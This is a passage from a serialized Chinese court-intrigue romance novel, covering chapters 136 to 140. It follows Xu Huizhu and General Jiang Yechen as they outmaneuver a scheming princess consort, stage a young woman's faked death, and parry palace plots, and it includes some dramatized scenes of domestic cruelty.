但,姜夜沉的目光,满溢欣赏。
“好,谨遵夫人命令。”
“夫人只管表演,为夫保证铆足了劲儿配合。”
用过午膳,徐慧珠才恍然想起,“将军今日不用入宫当差?”
“托夫人的福,皇上允我休沐一日。”
不用想,这假,又是姜夜沉厚着脸皮向皇上讨来的。
“晚上我请夫人去春风酒楼用膳,如何?”
……
院外一阵争吵。
“郡王妃,奴婢说过,夫人正忙,这会儿不得空,请您先去偏厅用茶,待奴婢通传……”
“郡王妃,您不能硬闯夫人的院子,这……这不合规矩。”
金秋气的眼圈发红,险些哭了,“夫人,郡王妃在将军府大门前哭哭啼啼,求您救命……”
荣慧登门好几回,奈何徐慧珠这些光景日日入宫,每次都错过。
徐慧珠忙,没把这事放在心上。
难得闲暇一日,苍蝇闻着味儿就来,嗡嗡叫个不停。
“慧珠姐姐?”
厚重的脂粉也遮不住荣慧憔悴的容颜,都说新婚夫妻该如胶似漆,女子是花儿,经过男人殷勤浇灌,方能开得娇艳欲滴。
可,荣慧这朵花儿,未开先枯萎。
“慧珠姐姐?”
“我早就说过,我不过妾室身份,高攀不起郡王妃,郡王妃仍执意叫我‘慧珠姐姐’?”
“郡王妃就不怕被人笑话,说你尊贵的郡王妃竟对一个妾……谄媚讨好、卑躬屈膝。”
“郡王妃若不在意,我便应了你这声“慧珠姐姐”。”
徐慧珠话里话外的意思,威胁荣慧,若一味厚脸皮,就莫怪她撕下荣慧的脸皮,扔在地上,再踩上几脚。
荣慧脸色难堪一瞬,差点维持不住理智,正欲发作,抬眼望内室窥去,看见床榻下摆着一双鞋。
荣慧心中激动万分。
是他。
荣慧噗通跪在地上,哭得可怜。
又开始演戏了。
“慧珠姐姐,从前是我猪油蒙了心,不该受凝玉公主胁迫针对你,我……我也是受害者啊。千错万错都是我的错,求你原谅我这一回,可好?”
“我心悦大将军,情难自控,不管大将军变成什么样,我……我对大将军的情意,此生不变。”
“唉……”荣慧长长一声叹息,“慧珠姐姐,你已是大将军的夫人,日夜陪伴在将军身侧,还有什么不满足的呢?”
“你怨我恨我不该管不住自己这颗爱慕大将军的心,设计谨郡王毁我,逼我当这个我并不稀罕的郡王妃……”
“拜慧珠姐姐所赐,我失去了爱情,活着,如同行尸走肉。”
“慧珠姐姐,我们都是女子,女子何苦相互为难?”
“慧珠姐姐,你好狠的心肠。”
徐慧珠不生气,但是想笑。
荣慧不是登门求她救命,救谁的命?来意未说清楚,先深情表白姜夜沉,顺势指责她的恶毒。
甚至,她嫁给谨郡王,都能诬陷是她的算计……
她不过是将军府的妾,有通天的本事不成,还能左右谨郡王?
徐慧珠盯着荣慧的眼睛,重复她说过的话,“是呀,女人何苦为难女人?”
荣慧暗自得意,她就是要当
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着姜夜沉的面,剥开徐慧珠虚伪的脸皮,也让姜夜沉明白,她荣慧才是不顾一切、爱他入骨的女人。
门外,谨郡王的脸,黑如夜色,冷如冰刀。
再看看一旁看戏的姜夜沉,谨郡王只觉得自己才是被人剥光衣裳丢到大街的小丑。
姜夜沉纯属故意。
他明知荣慧是个何等货色,却故意推给他,他为姜夜沉解决掉麻烦,回头发现自己沾染一身腥臭。
姜夜沉,羞辱了他。
呵。
“荣慧?”
“听说你不稀罕当本郡王的郡王妃?”
谨郡王冰冷的声音响起,吓得荣慧身子一软,“郡……郡王,您……您怎么来了?您怎么知道我在将军府?”
荣慧终于看到她朝思暮想的人,根本不在内室,而是同谨郡王站在门外……看戏。
“将……将军?”荣慧眉眼含情,她不自知,也控制不住。
谨郡王的脸,更黑更冷了。
他只想抓住荣慧的头发,将人一路拖拽回郡王府。
**,是她该死。
没死,就品尝他赐予的折磨。
姜夜沉满眼厌恶,他飞快走到徐慧珠的身边坐下,顺口招呼,“谨郡王也坐,站着怪累的。”
“大福,上茶。”
姜夜沉着急解释,“夫人,为夫心里只容得下夫人。”
“将军,我信你。”
姜夜沉又看向谨郡王,“还请谨郡王莫要误解才是。”
“唉,本将军莫名其妙沾得一身泥,找谁说理去。”
不知想到什么,姜夜沉突然变得眼神凌厉,“郡王妃三番五次毁本将军清誉,到底是何居心?”
“难道?”
徐慧珠眼神示意,金夏金秋一左一右扶起荣慧,金秋嘴快,趁机补刀,“郡王妃您在将军府大门前哭求夫人救命,奴婢……奴婢以为您遇到难事,心下不忍,才做主请您入府。”
“万万没想到,郡王妃您哄骗了奴婢,求救命是幌子,伤我家夫人的心,才是您的真实意图。”
“郡王妃,您张口就说心悦大将军,闭口就栽赃夫人算计了您,逼您嫁给谨郡王……”
“郡王妃,您已是有夫之妇,这样……不太好吧。”
第136章:见一面她相思入骨的人
不愧为徐慧珠的嘴替,金秋说的每一句话,都在扇谨郡王和荣慧耳光。
金夏力气很大,荣慧动弹不得,任由金夏金秋扶着她,坐在椅子里。
就在谨郡王身旁的位置。
金秋转而跪在地上,“夫人,都是奴婢的错,奴婢不该误信他人,不该心软……奴婢自去领罚。”
金夏冷不丁开口,“奴婢从旁监督,金秋识人不明,下回再犯,奴婢亲自动手挖出金秋的眼珠子。”
……
金秋说得那些话,就算是事实,也是实打实的以下犯上。
谨郡王若执意为荣慧出头,治金秋一个大不敬的罪,徐慧珠未必保得住金秋。
当然,哪怕谨郡王的刀架在金秋的脖子上,徐慧珠绝不会任他伤害金秋一分一毫。
她的人,她护得住。
荣慧如坐针毡,浑身发冷,止不住地哆嗦,她不敢抬头看谨郡王,又忍不住心里的悸动,想要看一眼姜夜沉。
越得不到,越上瘾,荣慧觉得有一万只蚂蚁在啃咬她的心,只需看一眼姜夜沉,就能止痛。
“郡王妃?”
“不知,郡王妃登门,所为何事?”
“郡王妃同金秋说救命,救谁的命?难道,郡王妃人在郡王府,受到性命威胁?”
徐慧珠说的故意,荣慧听得心惊胆颤,谨郡王听在心里。
谨郡王以为,荣慧犯蠢,为在姜夜沉面前卖惨,妄想得到姜夜沉的怜香惜玉,便把自己在郡王府的遭遇,全说了。
“慧珠姐姐,你……你?”
“我……我?”
荣慧不知该做何解释,她今日本就借口去醉仙戏楼赏戏,偷偷来的将军府。
她是有求于徐慧珠,更为碰碰运气,见一面她相思入骨的人。
人,是见到了。
他的眼,始终围着徐慧珠转。
他说的话,依旧无情冷漠。
但,她坚信,这一切的源头是徐慧珠,若徐慧珠**,谁还和她争?
他的温柔,他的深情,还有他的权势……统统是她的。
属于她。
谨郡王笑着举杯,“徐夫人说笑了,本郡王对慧慧一见钟情,疼着爱着都来不及,怎会……”
“今日慧慧贸然登门,打扰到徐夫人,本郡王以茶代酒,向徐夫人赔罪。”
慧慧?
谨郡王也是豁得出去,他这是忍着恶心,也要恶心死旁人。
“精诚所至金石为开,我相信,谨郡王对这份感情的付出,终有一日得到回应。”
“郡王妃一时错情,也相信她会渐渐看清楚自己的内心,看到谨郡王对她的好……”
不就是比恶心人嘛,徐慧珠擅长。
“将军觉得,是不是如此?”
“本将军从不管外人的事。”姜夜沉自顾自地喝茶,懒得理会旁人的脸色变幻。
在他的将军府,都得看他的脸色,徐慧珠除外。
谨郡王放下茶杯,转而握住荣慧的手,好似刚刚他并未听见荣慧深情表白姜夜沉的那些痴情话。
“说来,是本郡王不对,没有给足郡王妃安全感,才让她胡思乱想,生了误会。”
荣慧想要张口说话,可她的手指,快要被谨郡王捏碎了。
她不敢动,不敢叫出声。
多痛,都得咬牙忍住。
“前几日,荣夫人携荣婷姑娘登门,言语透露想让荣婷姑娘做小。”
“本郡王没有当面拒绝,心想,荣家毕竟是郡王妃的母家,体面还是要给的,不妨让郡王妃自己处置……”
“姐妹共侍一夫,是佳话。但,本郡王更在意郡王妃的心情,绝不会做惹郡王妃伤心的事情。”
……
马车行驶摇晃,荣慧跪着,身形稳不住,“郡王爷?”
“求郡王爷听妾身解释啊。”
啪啪。
啪啪。
扇耳光,得左右对称,瞧着才舒心。
谨郡王从未觉得打女人不对,女人这种狡猾的玩意儿,不打不老实。
女人嘛,该打。
“爱妃,请说。”
“本郡王很乐意听你狡辩,且看你如何狡辩,能否狡辩到本郡王的心坎上。”
荣慧双手捧着一只水壶,里面盛满开水,一晃,水撒了出来。
不过一会儿光景,荣慧的双手布满红痕和水泡。
“妾身……妾身的确不愿荣婷妹妹入郡王府,那就是一个心思干净单纯的蠢货,于郡王爷您无益,还是个吃闲饭的累赘。”
“不如,郡王爷运作一番,送荣婷妹妹入东宫,供太子玩乐。”
不等话音落下,
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荣婷的脸上先是啪啪一顿耳光,开水倾倒,尽数洒在她的身上,痛的荣慧失声尖叫。
“啊……”
“郡王爷?”
荣慧疑惑不解,她说错什么话,触犯到谨郡王的禁忌?
“**,你说什么?送个傻子给太子,谁给你的胆子,羞辱太子?”
“**,你在找死?”
谨郡王的大手掐住荣慧的脖子,直到她的脸色一片灰青,他还不松手。
越发用力。
“贱-人。”
“不不不,郡王爷,求您听……听妾身解释啊。”
“妾身是在帮您和太子……得……得到姜夜沉手里的北疆兵权和锦衣卫。”
谨郡王的手,松开。
荣慧趴在地板上,剧烈咳嗽,像一条濒临死亡的鱼。
毫无尊严的鱼。
“妾身哪敢羞辱太子,妾身承认是有私心,但妾身不单单为自己。”
“郡王爷您有所不知,徐慧珠十分厌恶妾身和母亲,但奇怪的是,徐慧珠喜欢荣婷妹妹,妾身猜测,正是荣婷妹妹的那份纯净,迎合徐慧珠的欢心。”
“妾身便想着,荣婷妹妹入东宫,时常和徐慧珠走动……”
不失为一条妙计。
荣婷还不知道,自己被亲人合伙卖了。
卖了一个大价钱。
此刻,荣婷求到徐慧珠面前。
“慧珠姐姐,我想逃命去。”
“求慧珠姐姐给我指一条明路。”
荣婷穿着男装,还给自己贴上胡子,画两条粗壮的眉毛,瞧着滑稽。
她应该是第一回装扮,从话本子里学来的法子。
“为何?”
“荣婷姑娘笃定,我定会帮你?你明知道,我十分讨厌荣夫人和荣慧。”
荣婷微愣,眼神坚定,说道:“她们是她们,我是我。”
“我知道慧珠姐姐不会因为旁人,迁怒于我。”
“我也知道,慧珠姐姐喜欢我,把我当作妹妹来疼。”
她善良单纯,但她不傻。
她分得清楚,谁对她好,是真心,还是假意。
她更清楚,荣家所谓亲人,包括母亲,不过把她当作货物,放置在货架上,待价而沽罢了。
她来京城,也是存着私心,她要为自己寻一条活路......
第137章:困于后宅,死于某日
“慧珠姐姐,我不想被他们卖掉。我是活生生的人,我想要自由……”
“慧珠姐姐,我所认识的人里面,唯有你,有能力帮我。”
“母亲,她很着急。”
“我很害怕,怕哪一日,我就被捂住嘴巴,塞入一顶小轿,送到哪家府院。”
“从此,困于后宅,死于某日。”
“慧珠姐姐,我不想过这样的人生,太可怕了,我怕,我熬不住。”
荣婷一边说一边哭,眼泪糊了一脸,她用衣袖擦来擦去,眉毛歪了,胡子掉了。
徐慧珠忍不住,扑哧笑出声,“莫哭了。”
“说说你的想法。”
荣婷当下止住哭,她拉住徐慧珠的衣袖,“我的直觉没错,我做的梦也是真的,慧珠姐姐,你是好人。”
“你的直觉?你做的梦?”徐慧珠有点疑惑。
“是呀,说出来慧珠姐姐可能不信,我第一回见到你的时候,不知为何,就觉得特别亲切,心里好像有一个声音在催促我,亲近你。”
“后来,我向慧珠姐姐坦诚,我对大将军只有敬仰,并不愿和慧珠姐姐共侍一夫。”
“那一晚,我做一个奇怪的梦……”
是梦?
还是重生?
还是因为她的重生,上天给予荣婷预警,以偿还前世她和荣婷有过牵绊。
“梦境里,母亲伙同谨郡王将我送给太子。可是,太子嗜好殴打女人,我被太子打的奄奄一息,扔到东宫的一处枯井里等死,是……是慧珠姐姐如天神降临,救了我的性命,给我重生的机会。”
“明明是梦,但好像经历过一般,好真实。”
荣婷说完,不敢直视徐慧珠的眼睛,她不是心虚,只是她说的话,匪夷所思。
她怕,徐慧珠会生出误解,不信她。
“慧珠姐姐,我……我没说谎。”
“我信你。”徐慧珠递给荣婷一杯温茶,“荣婷,你已决定离京,那就断绝过往一切。”
“好,我听慧珠姐姐安排。”荣婷答的干脆。
“假死离京,改头换面,隐姓埋名,世间再无荣婷此人,可愿意?”徐慧珠说,“世道艰难,于女子更难,一旦你失去贵女身份,要认清楚第一个现实,就是如何活下去。”
“可懂?”
荣婷点头。
她意已决。
与其被亲人卖给权贵,自由更可贵。
“好,我会借你一笔银子,一千两。”
“还会派人保护你,为期一年。”
“一年后,你的事情,我不会再管……”
荣婷跪下,郑重磕头,“慧珠姐姐对我仁至义尽,这份恩情,今生若无缘,来世必相报。”
“慧珠姐姐,我要去南疆。”
南疆?
徐慧珠摁下心里的疑惑,不再追问。
人各有命,荣婷的命,由她自己掌控。
她给荣婷一枚药丸,最后说一句,“荣婷,愿你重生。”
荣婷主动抱住徐慧珠,小声说,“慧珠姐姐,我叫安喜,我为自己起的名字,愿我这一生平安喜乐。”
安喜?
熟悉的名字。
前世,荣婷也为自己取名“安喜”,说了同样的话,她愿自己一生平安喜乐。
徐慧珠没告诉荣婷,她对荣婷的善意,是荣婷前世换来的。
晚些时候,徐慧珠同姜夜沉提说荣婷,她要导演一处戏,还需姜夜沉配合。
自是不会瞒着他。
姜夜沉说,“谨郡王去了一趟东宫,随后太子召见荣传钥,可能再过几日,皇后娘娘就会下懿旨。”
按说,以荣婷的身份,入东宫也是侍妾,还不配皇后娘娘亲下懿旨。
除非,皇后娘娘特意抬举荣婷。
徐慧珠心里已有怀疑的人,知道她喜欢荣婷的人不多,徐桂珍没那个能耐,可荣慧有。
她羞辱了谨郡王,想要逃避惩罚,就得有用。
“单是荣家,入不得太子的眼。若我猜测的不错,此番计策,出自荣慧。”
“太子如今又失去叶侯府这一助力,不管他心里多恨你,还是眼热你手里的北疆兵权和锦衣卫。”
“太子,从未放弃过。”
“大皇子,一样。”
“一个女人罢了,东宫后院又不是塞不下。万一能撬开将军府,太子稳赚,就算再次失败,还有眉县荣家和户部尚书府。”
徐慧珠又说,“太子贪心。”
“贪心太过,不会有好下场。
两人相视一笑,像极在闲聊这京城新鲜
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出炉的八卦。
徐慧珠翻看近几日送来的请柬,总共六家,翻来覆去地看,没一家满意。
她要导演一场戏,得讲究天时地利人和,缺一就不能尽善尽美。
金秋来禀,“夫人,郡王府刚送来请柬,后日举办赏花宴。”
“说是大丽国进贡十盆大丽花,皇后娘娘赐给郡王府五盆,特下懿旨在郡王府举办赏花宴。”
“赏花宴?”徐慧珠眉头舒展,“太子这是等不及,事关将军府,宜早不宜迟。”
“金秋,你去一趟荣家,送一些春风酒楼新出的糕点,再告诉荣婷,若是得空可到将军府小住,陪我说说话,解解闷。”
“夫人,要不要提赏花宴?”金秋问。
徐慧珠摇头,“不必。”
“说不得,荣家已收到请柬,荣家人都知晓郡王府的这场赏花宴为荣婷举办。”
姜夜沉走进来,接话,“谁让咱们这位皇后娘娘有时候尤其要脸面……”
徐慧珠对皇后娘娘实在无语,“皇后娘娘自以为搭上相府这条线,不愿和相府生出隔阂,又想在太子大婚前抬荣婷姑娘入东宫。”
“那就设计一场荣婷姑娘对太子一见钟情、非君不嫁的戏,太子嘛,一句怜香惜玉便可解释了。”
明明是简单的事情,硬是让皇后娘娘折腾复杂。
也不知,皇后娘娘是怎么想的。
同样想不通的还有荣慧,照她说,直接一顶小轿抬入东宫,还举办什么赏花宴,制造什么一见钟情的爱情故事……
多此一举。
她就是心里烦躁,不情不愿给荣婷一个蠢货做脸面。
又想到徐桂珍那张恶心的嘴脸,荣慧抓起铜镜,狠狠摔在地上,骂道,“****,一个个都是**。”
但,荣慧只敢对着铜镜发好大一通火,谨郡王回府,只撂下一句“记住,收起你的小心思”,转身离开。
“郡王爷去了哪里?”
奴婢圆禾如实回答,“回禀郡王妃,郡王殿下又……又去了清幽园。”
“清幽园?”荣慧冷哼道。
“又去看那片破竹林,日日看,夜夜看,有什么好看?”
“那一根根破竹子能变成风情万种的美人儿不成?”
第138章:荣婷之死
虽说荣慧对谨郡王生不出男女情意,但他们毕竟是夫妻,谨郡王不碰她,跟她乐不乐意被谨郡王碰,是两码事。
谨郡王对她的态度,直接影响她在郡王府过得是否舒坦,更影响她这个郡王妃当得是否尊贵。
很明显,她过得一点儿也不好,她这个郡王妃怕是京城里的一大笑话。
从宋家的火坑跳到郡王府的炼狱,活得异常艰难。
先前募捐宴上,凝玉公主和叶文瑞在清幽园苟合,谨郡王回来差点要了她的命。
她才知道,清幽园是郡王府的禁地。
荣慧的话,奴婢圆禾不敢接。
尽管,奴婢圆禾心里也好奇,郡王爷对郡王妃总是冷脸,不喜欢郡王妃,娶回家做什么?
郡王府举办赏花宴,又是京城贵人**的一日。
不同于上回的募捐宴,这回谨郡王在,他自是不会错过为太子拉拢朝臣的机会。
姜夜沉和徐慧珠携手赴宴,还特意绕道去荣家接上荣婷姑娘。
参加过募捐宴的贵人都清楚,哪怕荣慧已是尊贵的郡王妃,徐慧珠一个将军府的妾,说不给脸面,就一分不给。
同样是荣家贵女,徐慧珠却用实际行动证明,她极喜欢荣婷姑娘。
徐桂珍恨不得到处炫耀,荣婷和徐慧珠交好。
“徐夫人说了,就喜欢婷儿单纯的性情呢。”
“徐夫人隔三差五派人送给婷儿春风酒楼的糕点,邀婷儿去醉仙戏楼赏戏,还时常邀婷儿在将军府小住……”
“对对对,大将军说,婷儿是徐夫人的妹妹,便是将军府最尊贵的客人,也是他的妹妹。”
……
谨郡王陪着太子站在亭子里,他忍着心痛劝说,“太子殿下,一切已安排妥当,待会儿委屈您了。”
“若不喜荣婷姑娘,就扔在东宫后院娇养着便是,就当养一头猪。”
太子却说,“谨哥哥,孤今日来赴宴,为的是再尝一回谨哥哥做的那道竹笋炒肉,不知,谨哥哥的手艺生疏没?”
一句话,几欲勾出谨郡王的眼泪。
谁说男儿有泪不轻弹,那是没到激动时。
这一刻,谨郡王觉得,他这些年的辛苦,值得了。
“怎会生疏?我……我时常亲自下厨,炒一盘竹笋炒肉,摆两副碗筷……”
“太子殿下,清幽园还是从前的清幽园,此生不变。”
还有一句话,谨郡王没说,但已经说了。
他和清幽园一样,此生不变。
太子笑道,“孤就知道,谨哥哥对我,真心实意的好。”
谨郡王离开,自是没瞧见太子嫌弃的眼神。
一刻钟后。
噗通。
“啊……”
“有人落水了。”
“救命啊,快来人啊。”
“谁落水了?”
“不知道,没看清谁落水了。”
“是荣婷姑娘落水了。”
“荣婷姑娘是谁?”
“郡王妃的妹妹。”
“刚刚和徐夫人一起的漂亮姑娘。”
“不好了,荣婷姑娘……**。”
金夏第一个跳入水中,拖着荣婷上岸,一番施救后,“夫人,荣婷姑娘救不活了。”
徐慧珠上前诊脉,“怎么会?”
“荣婷妹妹落水后,金夏第一时间施救,按说,不会断气这么快才是。”
“不,不可能。”
徐桂珍冲过来,扑到荣婷的身上,嚎啕大哭,“婷儿,婷儿,你怎么了?怎么了啊?”
“荣夫人,你老实说,荣婷妹妹是否患有心疾之症?”
“说,不然,我就让金夏把你扔到水里清醒清醒。”
徐慧珠推开徐桂珍,很显然,徐桂珍哭哭啼啼,听得她心烦。
“你怎么知道?”
“是,婷儿是患有心疾之症,可……可这跟婷儿落水有何关系。”
“我可怜的婷儿啊,呜呜呜……”
徐慧珠再次抚上荣婷的脉搏,“原来如此。”
“荣婷患有心疾之症,从高处落水,猛烈撞击之下,引发心脏骤停……”
徐慧珠猛地看向太子,厉声质问道,“敢问太子殿下,您……您为何要推荣婷妹妹落水?”
“为何?”
其实,不止徐慧珠一人瞧见,正是太子推了荣婷姑娘一把,才会落水,才会死。
没人敢说。
徐慧珠却说了。
“本将军也看到了。”
“臣的夫人十分疼爱荣婷姑娘,一时无法面对荣婷姑娘的死,情绪激动了些,相
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信太子大人有大量,不会怪罪吧。”
徐慧珠跪下,认错倒快,“太子殿下,臣妇知错。”
“臣妇实在想不通……”
“来时的路上,荣婷妹妹告诉臣妇一个秘密。”
“荣婷妹妹说,郡王妃做媒,眉县荣家奉上嫡女荣婷,入东宫侍奉太子殿下。”
“她未见过太子殿下,心里忐忑,不知太子殿下会不会喜欢她?”
“太子殿下,我能猜测,荣婷妹妹为何会藏在假山,少女慕情,好奇她侍奉的‘夫君’是何等模样。”
“您若不喜荣婷妹妹,直说便是,为何……为何推荣婷妹妹落水?”
太子大怒,吼道,“大胆徐氏,你好大的胆子,敢质问孤?污蔑孤**?”
“哼。徐氏,你是个什么贱东西。”
太子怒,就意味着他输了。
“太子殿下?”
“徐慧珠是臣……奉旨求娶的夫人,不是太子殿下口中的贱东西。”
姜夜沉将徐慧珠护在身后。
彼时,谨郡王正满心欢喜地在清幽园挖竹笋。
太子无从可辩。
因为,他的确推了荣婷一把,不,真相是荣婷突然从假山后面出来,满眼惊恐,结巴一句“太子……太子殿下,您……您怎么能喜欢男子”。
“您既喜欢男子,为何娶那么女子入东宫后院,当摆设吗?还是?”
他大惊失色,手下动作比理智更快,他欲伸手掐住荣婷的脖子,哪知她往后一退,便摔了下去。
这就是过程。
他不知女子的身份,当然,就算知晓,他还是会杀了她。
只有**,才不会乱说话。
要怪,就怪谨郡王,没用的东西。
……
荣婷的死,定性于太子失手。
为何失手,太子没解释。
偏偏,荣婷患有特殊的心疾之症,若是常人,短时间落水被救,大概率能救回来。
也是她的命数。
但,提起荣婷的死,大家心知肚明,凶手其实就是太子。
一时间,京城贵女大多歇了入东宫的心思,比起荣华富贵,保命更重要。
短短两三个月,京城适龄贵女,大半火速定了亲事。
都在传,太子厌女……
第139章:太子厌女
京城都在传,太子厌女。
越传越离谱。
皇上训斥太子,命他在东宫反省,又下一道旨意,封荣婷为县主,丧事以县主规格操办。
徐慧珠悲伤不已,姜夜沉心疼自家夫人,便请大平寺高僧为荣婷诵经七日。
活着透明,死后声名鹊起。
徐慧珠每日都会来荣家灵堂,为荣婷上一炷香。
棺木里,躺着“荣婷”。
无数双眼睛看着,死的人,就是荣婷。
一张面具,徐桂珍身为荣婷的母亲,却没看出破绽。
短暂悲伤过后,徐桂珍对荣婷只剩下埋怨,又遵从荣传钥的意思,从荣家挑选贵女,送到京城。
以谋新路。
两个月后,阿雨传回消息。
阿雨,是徐慧珠为荣婷挑选的护卫,扮作姐姐,随身保护荣婷的安危。
“夫人,荣婷姑娘为自己挑选一张寡淡平常的容貌,化名安喜,入南疆后,签了活契,入王府,在膳房当烧火丫头。”
南疆只有一座王府,南疆王陈青阳的王府。
“陈青阳?”
徐慧珠先是愣住,接着笑了,“谁说荣婷的胆子小,依我看,她的胆子大破天了。”
“不,日后该叫安喜了。”
徐慧珠放下手里的账本,“金秋,传信给阿雨,只护着安喜莫被人害了性命,旁的事情不必掺和。”
“夫人,您看,此事要不要告诉将军?若是将军知道,会不会迁怒于夫人?”金秋关心则乱,说来说去,怎么就成了夫人给南疆王送女人……不生一场误会才怪。
“本将军因何事会迁怒夫人啊?”
“夫人,你这奴婢好生厉害,竟敢挑拨离间你我的夫妻感情……”
姜夜沉看了一眼金秋,吓得金秋噗通跪在地上,脸色惨白,说话都不利索了。
“将军明鉴,奴婢……奴婢没有啊。”
“奴婢无时无刻都希望夫人和将军琴瑟和鸣,恩爱长久,绝无挑拨夫人和将军夫妻感情的恶毒心思。”
徐慧珠瞪了一眼姜夜沉,“将军,吓坏我的奴婢,你赔不起。”
金秋这才明白,将军是在吓唬她。
她,的确快要吓**。
金秋心里叹息一声,当奴婢难啊,尤其是遇到一位像将军这般不会开玩笑,还硬开的主子。
徐慧珠说了荣婷离京后的情况,“将军,要不要写封信,知会陈青阳一声?”
“万一事发,陈青阳误会将军给他送女人……”
徐慧珠心里清楚,安喜入了南疆王府,直奔膳房,从一名烧火丫头做起,是听了她的话。
“慧珠姐姐,如何抓住男人的心?”荣婷一边吃着糕点,一边翻看话本子,一边好奇的问。
徐慧珠随口答一句,“很简单,抓住他的胃。”
谁成想,荣婷记在心里,并付诸行动了。
唉……
“夫人想得太多太远,荣婷姑娘能否入得陈青阳的眼,走进陈青阳的心,都是未知数。”
“再说,陈青阳说过,此生不娶妻……”
姜夜沉说这话的时候,气息渐沉。
徐慧珠没往下问。
有时候,好奇如一把尖刀,戳开对方的伤疤,让腐朽烂肉再次血淋淋地暴露人前。
残忍的事情,徐慧珠常做,但分人。
这一日,徐慧珠刚入宫,就被玉香截胡,请到君后殿。
玉香,是皇后娘娘身边的一等宫女。
听闻,当年皇上给凝玉公主和姜夜沉赐婚,皇后娘娘挑选四名陪嫁宫女,个个才貌双全,其中玉香最为突出。
后来,亲事一场空,三名陪嫁宫女被皇后娘娘陆续赐给朝臣,唯有玉香继续留在皇后娘娘身边,稳当她的一等宫女。
可见,玉香是个颇有手段心计的女子。
“徐夫人,请在殿外等候。”玉香说完,深深地看了一眼徐慧珠,透着凉薄的恨意,转身离去。
初冬的京城,凉意袭来,徐慧珠禁不住打了个冷颤。
这一等,就是半个时辰。
徐慧珠只觉得手脚冰冷,冷到麻木,她在心里将皇后娘娘骂了一万遍。
“徐夫人,里面请。”
徐慧珠未动。
“徐夫人?”玉香微皱眉头,又叫了一声。
“请玉香姑娘扶……扶一下我。”徐慧珠脸色寡白
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,似是难受的模样。
玉香犹豫一瞬,还是伸出手,不等她的手触碰到徐慧珠,人影覆向她,扑个满怀。
“玉香姑娘,我……我……”
徐慧珠身子一软,往下滑去,滑到一个滚烫的怀里。
“大将军,徐夫人……徐夫人她……她?”玉香脸色大变,着急解释。
“滚。”姜夜沉冷声训斥,吓的玉香后退几步差点栽倒。
“本将军的夫人奉皇命为凝玉公主和暮歌姑娘看诊,连早膳都来不及用,没想到还要遭受皇后娘娘的磨搓。”
“荣婷姑娘的死,本将军的夫人已为太子殿下作证,是太子失手,再加上荣婷姑娘的特殊体质……皇后娘娘还不满意吗?”
“将军,不……不是的,请将军听奴婢解释啊。”玉香失了冷静,她想不通,徐慧珠不过在殿外站了半个时辰,又没让她跪,人怎么就晕了呢。
定是装的。
“将军,您误会了,皇后娘娘召见徐夫人,面未见着,何谈磨搓。”
“这些话,请皇后娘娘向皇上解释吧。”姜夜沉抱起徐慧珠,直奔太医院。
等徐慧珠醒来,流言蜚语已在皇宫传开,说是皇后娘娘怪罪徐慧珠损了太子的名声,体罚一二,谁成想徐慧珠身子骨弱,又被姜夜沉撞见……
这其中,少不得厉贵妃的推波助澜。
与皇后娘娘斗,斗了几十年,已成为彼此的生活习惯。
不过,得了实际好处的却是徐慧珠,先是皇上的赏赐,接着皇后娘娘口谕澄清误会,如何澄清,自然是贵重厚礼。
厉贵妃也送来大量补品,说徐慧珠为暮歌看诊辛苦,于理于情,身为贵妃都得聊表心意。
伊香殿。
偏殿。
暮歌不记得自己哭过多少回了,都说人的眼泪会流干,可她的眼泪越流越多。
“暮歌,你别哭了,身子要紧,你一哭,本宫这心啊,揪着痛。”
“本宫心疼你啊。”
秋日宴上发生的事情,前半段她亲身经历。后半段,皇宫里人尽皆知。
“贵妃娘娘,大皇子殿下他......他不愿见我?”
第140章:暮歌姑娘贪的是大皇子殿下
厉贵妃叹息道,“暮歌,你可知,明远为了你,当众揍了太子一顿。”
“可,不管怎么说,太子是储君,明远哪怕受了天大的委屈,也只能受着忍着。”
“这一回,本宫也劝不住明远,他一心为你出气。”
厉贵妃说谎,脸不红心不跳。
她自信地以为,拿捏暮歌,不过三言两语的哄骗。
“暮歌,你可知,皇上给了明远两条路,要么看着你被处死,要么看着你嫁给太子。”
“暮歌,你让明远……明远他如何选?”
“皇上派明远去杭州参加万书节,一路有锦衣卫随行……”
“暮歌,明远说,他只想让你好好活着,只有活着,才有希望。”
暮歌的泪,浸湿了枕巾。
身体的疼,远不及心里的痛。
她说不出想死的话,大皇子李明远为她争取来的生路,她怎能辜负他的心意。
厉贵妃又说,“暮歌,本宫心疼你,也心疼明远。”
“所以,本宫思来想去,想出一个法子……”
暮歌紧紧抓住锦被,满眼震惊,一时失语。
厉贵妃皱眉,“怎么?暮歌,你不愿?”
“你不愿报复太子?不愿帮明远?”
“呵,暮歌,这就是你对明远的爱,不过如此。”
“可惜明远不在,他要是看见你这副表情,会不会后悔为了你差点舍弃皇子身份。”
暮歌只是被厉贵妃的想法吓到,不等她消化,厉贵妃又动怒。
暮歌想解释一句,她不是不愿,她只是没缓过来心神。
“大皇子殿下为了我……舍弃……舍弃皇子身份?”
“他对我……当真……当真如此深情?”
“呜呜呜……为什么?苍天啊,菩萨呀,为何要这么残忍对我?为何要毁了我的幸福?呜呜呜……”
“大皇子殿下……呜呜呜。”
暮歌嚎啕大哭,哭的肝肠寸断,哭声响彻整个伊香殿,直到昏厥过去。
她没看到厉贵妃脸上的阵阵冷意和嫌弃。
隔了两日,徐慧珠随姜夜沉入宫,一个给暮歌姑娘和凝玉公主看诊,一个当差。
“徐夫人,多谢你的救命之恩。”
这是暮歌清醒后,同徐慧珠说的第一句话。
徐慧珠心下了然,看来厉贵妃已讲完她的故事。
接下来,换作她讲故事的另一个版本了。
“暮歌姑娘打算如何谢我?”
徐慧珠笑道,“不过暮歌姑娘即将是太子妃,太子妃的人情,于我来说,大有效用。”
“暮歌姑娘的话,我就记着了。”
果然,提到太子妃,暮歌的眼里没有激动,尽是恨意。
“徐夫人,我……我当真不能有孕了吗?”
“是。”徐慧珠如实说,“暮歌姑娘的子宫破裂,我医术浅薄,无法为暮歌姑娘修复。”
“暮歌姑娘虽不能有孕,但床笫之欢无碍。”
“床笫之欢?”暮歌紧咬嘴唇,余下的话,她咽入腹中:她绝不会让太子碰她一寸肌肤。
厉贵妃说得对,皇命难违,就算大皇子殿下为她舍弃皇子身份,也无法更改圣旨,她嫁给太子已成定局。
那么,就用太子妃的身份,暗里助大皇子殿下夺走太子手里的权势,将他赶下东宫储君的位置。
等大皇子殿下登上高位,会为她换另一个干净的新身份,到那时,她和大皇子殿下这对有情人会终成眷属。
没有孩子又如何?她有大皇子殿下的宠爱,就够了。
她不贪心。
唯一贪的,就是大皇子殿下。
宫人来禀,“徐夫人,大将军在殿外等您。”
